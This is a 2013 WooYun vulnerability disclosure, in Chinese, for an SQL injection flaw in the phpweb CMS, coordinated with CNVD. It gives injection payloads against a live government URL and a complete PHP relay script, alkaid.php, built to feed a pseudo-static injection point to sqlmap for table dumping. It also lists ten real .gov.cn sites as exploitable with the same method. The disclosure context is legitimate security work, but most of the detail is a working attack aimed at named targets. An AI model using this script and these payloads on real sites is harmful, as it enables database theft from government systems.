当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-046157

漏洞标题:phpweb建站程序可导致大量政府网站受到安全影响

相关厂商:CNVD

漏洞作者: lxj616

提交时间:2013-12-17 11:32

修复时间:2014-03-17 11:32

公开时间:2014-03-17 11:32

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-12-17: 细节已通知厂商并且等待厂商处理中
2013-12-21: 厂商已经确认,细节仅向厂商公开
2013-12-24: 细节向第三方安全合作伙伴开放
2014-02-14: 细节向核心白帽子及相关领域专家公开
2014-02-24: 细节向普通白帽子公开
2014-03-06: 细节向实习白帽子公开
2014-03-17: 细节向公众公开

简要描述:

phpweb建站程序可导致大量政府网站受到安全影响(举10例,实际远远不止这么多,注射跑表只演示1例,其他的同理)

详细说明:

下面以
tpri.gov.cn
为例进行分析(包括跑表)
漏洞入口:

http://www.tpri.gov.cn/news/html/?95.html


01zhengchang.PNG


尽管使用了伪静态,不过还是有注射……
用最笨的方法

http://www.tpri.gov.cn/news/html/?95'.html


02baocuo.PNG


接下来就是分析构造了

http://www.tpri.gov.cn/news/html/?95'/**/and/**/'1'='1.html


03gouzao.PNG


那么,伪静态怎么跑表呢?
我写了个POC,等一下解释原理
alkaid.php

<?php
function uc_fopen($url, $limit = 0, $post = '', $cookie = '', $bysocket = FALSE, $ip = '', $timeout = 15, $block = TRUE) {
$return = '';
$matches = parse_url($url);
!isset($matches['host']) && $matches['host'] = '';
!isset($matches['path']) && $matches['path'] = '';
!isset($matches['query']) && $matches['query'] = '';
!isset($matches['port']) && $matches['port'] = '';
$host = $matches['host'];
$path = $matches['path'] ? $matches['path'].($matches['query'] ? '?'.$matches['query'] : '') : '/';
$port = !empty($matches['port']) ? $matches['port'] : 80;
if($post) {
$out = "POST $path HTTP/1.0\r\n";
$out .= "Accept: **\r\n";
$out .= "Accept-Language: zh-cn\r\n";
$out .= "User-Agent: $_SERVER[HTTP_USER_AGENT]\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n";
$out .= "Cookie: $cookie\r\n\r\n";
}else {
$out = "GET $path HTTP/1.0\r\n";
$out .= "Accept: */*\r\n";
//$out .= "Referer: a',(select now()) and ".$inject.")#\r\n";
$out .= "Accept-Language: zh-cn\r\n";
$out .= "User-Agent: $_SERVER[HTTP_USER_AGENT]\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n";
$out .= "Cookie: $cookie\r\n\r\n";
}
$fp = @fsockopen(($ip ? $ip : $host), $port, $errno, $errstr, $timeout);
if(!$fp) {
return '';//note $errstr : $errno \r\n
} else {
stream_set_blocking($fp, $block);
stream_set_timeout($fp, $timeout);
@fwrite($fp, $out);
$status = stream_get_meta_data($fp);
if(!$status['timed_out']) {
while (!feof($fp)) {
if(($header = @fgets($fp)) && ($header == "\r\n" || $header == "\n")) {
break;
}
}
$stop = false;
while(!feof($fp) && !$stop) {
$data = fread($fp, ($limit == 0 || $limit > 8192 ? 8192 : $limit));
$return .= $data;
if($limit) {
$limit -= strlen($data);
$stop = $limit <= 0;
}
}
}
@fclose($fp);
return $return;
}
}
$value=uc_fopen('http://www.tpri.gov.cn/news/html/?'.$_GET["a"].'.html',0,0,0,FALSE,'',15,true);
echo $value;
?>


实际上是一个包转发,把$_GET['a']的值后面加上“.html”然后发到注射点,大牛们也可以试着手注……
倒数第二行是漏洞地址,根据需要把'http://www.tpri.gov.cn/news/html/?'换成其他漏洞地址即可,默认的这是我演示跑表的那个
用法:alkaid.php?a=57 放到sqlmap里跑就好了(注意,这个57是有效的页面号码)

0001.png


0002.png


居然有 cms_ 的前缀!我才意识到这是个CMS
稍微google一下,发现超多政府网站在用这一款CMS
举10例,直接用上文方法通杀

http://www.tpri.gov.cn/news/html/?57.html
http://tsmzx.jcxedu.gov.cn/news/html/?57.html
http://rcjt.gov.cn/news/html/?57.html
http://site.jledu.gov.cn/ljslx/news/html/?57.html
http://www.wnyz.gov.cn/news/html/?57.html
http://www.wnhth.gov.cn/news/html/?57.html
http://fjz.bjxczx.gov.cn/news/html/?57.html
http://ghz.gov.cn/news/html/?57.html
http://tiepu.gov.cn/news/html/?56.html
http://www.cfdqx.gov.cn/news/html/?56.html

漏洞证明:

求CNVD证书

0001.png


0002.png


举10例,直接用上文方法通杀,伪静态实在是不可靠哈

http://www.tpri.gov.cn/news/html/?57.html
http://tsmzx.jcxedu.gov.cn/news/html/?57.html
http://rcjt.gov.cn/news/html/?57.html
http://site.jledu.gov.cn/ljslx/news/html/?57.html
http://www.wnyz.gov.cn/news/html/?57.html
http://www.wnhth.gov.cn/news/html/?57.html
http://fjz.bjxczx.gov.cn/news/html/?57.html
http://ghz.gov.cn/news/html/?57.html
http://tiepu.gov.cn/news/html/?56.html
http://www.cfdqx.gov.cn/news/html/?56.html

修复方案:

天哪,这么多gov.cn,这可怎么办呐!!!

版权声明:转载请注明来源 lxj616@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2013-12-21 23:06

厂商回复:

CNVD后续未在实例上直接复现,已经向白帽子请教,对于机理分析后确认为通用软件漏洞。rank 20

最新状态:

暂无